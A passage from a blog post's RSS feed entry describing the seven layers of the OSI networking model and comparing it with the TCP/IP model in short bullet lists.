fiber, and air. On the sender side, the physical layer sends 1s and 0s to a transmission medium in a format understandable by the medium (such as electrical signals, radio signals, light). On the receiver side, the physical layer reads these signals from the transmission medium and converts them back into 1s and 0s.</p><p><strong><em>2-Data Link Layer : </em></strong>This layer ensures that data sent from the source is encapsulated into frames and delivered to the destination address. It consists of two sublayers: Media Access Control (MAC) and Logical Link Control (LLC). The MAC sublayer utilizes a unique 48-bit MAC address found in each network card. It ensures proper communication by using the source and destination MAC addresses in the data packet. The LLC sublayer takes on the role of transitioning for the upper layer. It facilitates communication between the two layers by creating logical ports called Service Access Points (SAPs).</p><p><strong><em>3-Network Layer : </em></strong>The primary function of the network layer is to move data into and through other networks. Network layer protocols accomplish this by packaging data with correct network address information, selecting the appropriate network routes and forwarding the packaged data up the stack to the transport layer.</p><p><strong><em>4-Transport Layer : </em></strong>This layer divides the data sent by the source into segments and ensures that it is transmitted to the destination. It performs error correction as a result of error checking operations performed by other layers. Flow control between the source and destination is managed at this layer. Two important protocols of this layer are TCP (Transmission Control Protocol) and UDP (User Datagram Protocol). They have different use cases and purposes. Port addresses, which are defined differently for each application, are significant components of this layer.</p><p><strong><em>5-Session Layer : </em></strong>This layer initiates, manages, and terminates communication between the source and destination. Each network connection used on the client side, such as email, web browsers, FTP opens a separate session to prevent data from mixing with each other.</p><p><strong><em>6-Presentation Layer : </em></strong>It is thanks to this layer that the data shared between PCs in the network environment is meaningful. In order for the shared information to be readable by the PCs, the data must be converted into a common format. When you consider that the shared PCs are managed by different software, the importance of this function becomes clear. This makes it possible for different programs to use each other’s data. One of the most important tasks of the presentation layer is the encrypted transmission of the shared data to the other computer.</p><p><strong><em>7-Application Layer : </em></strong>This layer provides tools for users and programs to use the network. Since the application layer is the last layer, it does not provide any services to the other layers. It creates network services for the running applications. In addition, this layer determines whether the computer with which it will communicate is ready for communication and synchronizes the communication.</p><h3>Similarities between OSI Model and TCP/IP Model</h3><ul><li>Both are logical models.</li><li>They both describe how information is transmitted between two devices across a network.</li><li>Both models define a set of layers.</li><li>Each layer performs a specific set of functions to enable the transmission of data.</li></ul><h3>Differences between OSI Model and TCP/IP Model</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/318/1*CxSo3kuBSh4kDAa7jx4EHw.jpeg" /></figure><ul><li>OSI has 7 layers and TCP/IP has 4 layers.</li><li>TCP/IP Model is mostly used.</li><li>Replacing the tools is not easy in TCP/IP Model as it is in OSI Model.</li><li>OSI Model is less reliable than TCP/IP Model.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=73dce09f7231" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>